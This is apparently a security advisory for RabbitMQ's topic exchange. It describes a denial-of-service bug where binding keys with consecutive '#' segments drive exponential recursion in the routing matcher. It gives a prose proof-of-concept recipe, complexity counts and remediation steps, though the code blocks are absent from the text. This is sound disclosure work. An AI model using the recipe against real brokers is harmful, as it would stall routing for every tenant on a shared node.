GHSA-h964-v5mf-22cq

Описание

Summary

An authenticated user who can bind a queue to a topic exchange and publish to that exchange can force the routing engine into combinatorial recursion by using a binding key that contains consecutive # segments.

When such a binding is matched against a routing key of comparable depth, the matcher repeatedly re-enters identical {trie node, remaining routing-key suffix} states without memoization, and builds a duplicate list of destination results that is only deduplicated after the full traversal completes.

A binding and routing key only tens of bytes long can therefore drive millions to billions of recursive matcher invocations and allocate a correspondingly large intermediate result list, all while producing exactly one queue delivery. The work is performed inline in the routing path with no connection, channel, queue, message-size, or memory-alarm limit interrupting a single in-progress traversal.

Preconditions

• The attacker holds an authenticated account on a vhost.
• The attacker can bind a queue to a topic exchange (configure on the queue, read on the exchange).
• The attacker can publish to that exchange (write on the exchange).
• The binding key contains adjacent # segments (e.g. #.#.#).

All of these are ordinary permissions for a normal tenant on its own vhost. No administrator, policymaker, or non-default configuration is required.

Affected versions

Verified present on main at commit dd7d627 (release line v4.2.0-beta.4). The matcher design is long-standing and both the current projection matcher and the legacy v3 matcher are affected (see Root cause), so all currently maintained releases that share this routing implementation should be considered affected pending maintainer confirmation.

Root cause

1. No binding-key grammar validation

The topic exchange performs no validation of binding keys. validate_binding/2 ignores its arguments and unconditionally returns ok, so consecutive # segments are never rejected at declaration time:

2. Non-memoized recursive matcher

rabbit_db_topic_exchange:match/3 selects a matcher based on the effective projection version: version >= 4 uses trie_match/7, older projections use trie_match_v3/5. Both share the same recursive structure.

For each routing-key word, trie_match/7 explores the literal branch, the * branch, and the # branch. The # branch is handled by trie_match_skip_any/7, which recursively evaluates both the "consume a word and keep skipping" path and the "stop skipping" path:

The legacy path trie_match_v3/5 (same file, 181:215) has the identical consuming/non-consuming recursion via trie_match_skip_any_v3/5.

Neither matcher memoizes visited {Node, RemainingWords} states. With a trie containing consecutive # edges, the same state is reached along exponentially many distinct call paths, so the number of matcher invocations follows a central binomial recurrence rather than the linear depth of the input.

3. Deduplication happens only after the full traversal

The exchange type explicitly documents that routing may return duplicates and that deduplication is the caller's responsibility, performed only once the matcher has returned the complete result list:

Consequently the intermediate duplicate list is fully materialized in the routing process's heap before it collapses to a single destination.

Complexity analysis

For a binding key of n consecutive # segments matched against a routing key of n words, the number of duplicate terminal results is the central binomial coefficient:

Analytically derived counts (matcher invocations and duplicate outputs):

These are exact combinatorial counts derived from the recurrence, not wall-clock measurements. Use the harness in the next section to capture CPU time and heap growth in your environment.

Amplification ceiling

n in the table above is small only for illustration. AMQP 0-9-1 short strings allow binding and routing keys up to 255 bytes. Each #. segment costs 2 bytes, so a single, entirely legal frame can carry roughly n ≈ 127 segments. D(127, 127) is astronomically larger than the n=16 row, meaning one request can be made effectively unbounded in cost. No channel fan-out or repetition is required to reach catastrophic work; repetition and multiple channels only add linear multipliers on top.

Proof of concept

A. Trigger via a normal client

Create one topic exchange, one queue, and one binding whose key is n repetitions of # joined by dots, then publish one message whose routing key is n repetitions of a:

Example using rabbitmqadmin:

Increasing N toward the ~127 ceiling rapidly increases routing cost. The queue ends with exactly one ready message, confirming the work is wasted duplicate computation rather than legitimate fan-out.

B. Direct measurement harness (captures wall-clock + heap)

Run this against a node after declaring the binding above. It times the internal matcher on the live projection and reports microseconds and the pre-dedup result length, so you can record real numbers for the Impact section:

Record the match_time_us and predup_results values at increasing N (e.g. 12, 14, 16, 20). A single call whose match_time_us grows into the seconds range while holding a scheduler demonstrates the denial-of-service directly; pushing N further drives the node toward unresponsiveness.

Controls

• A literal binding of equal depth (a.a.…) or a single # binding returns one match effectively instantly.
• Both the attack and the control leave exactly one ready message in evilq, isolating routing cost as the only variable.

Impact

A single low-privileged tenant can:

• Consume shared Erlang scheduler CPU for the full duration of one routing traversal, degrading or halting message routing for all vhosts and clients on the node (the broker is a shared, multi-tenant system).
• Grow the routing process heap with the materialized duplicate destination list before deduplication, contributing memory pressure.

Critically, existing safeguards do not help: connection limits, channel limits, queue limits, max_message_size, and memory alarms all operate at boundaries that a single in-progress match/3 call does not cross. There is no per-routing work budget that can abort a runaway traversal.

Workarounds

There is no effective configuration-level mitigation. Any account able to bind and publish on a topic exchange can trigger the behavior, and there is no setting that bounds per-routing work or rejects consecutive-# binding keys. The only robust fix is at the code level.

Recommended remediation

• Memoize matcher states by {trie node, remaining routing-key position} so each state is evaluated once, collapsing the combinatorial recurrence to polynomial cost. Apply to both trie_match/7 and trie_match_v3/5.
• Collapse adjacent # words in routing projections while preserving binding identity, since #.# is semantically equivalent to #.
• Rebuild every active projection version after the fix so existing bindings benefit.
• Bound per-routing work / wildcard depth as defense in depth, aborting or rejecting pathological traversals.
• Add regression coverage: an equal-depth consecutive-wildcard benchmark that asserts routing time stays within a bound, plus a correctness test that a consecutive-# binding still yields exactly one delivery.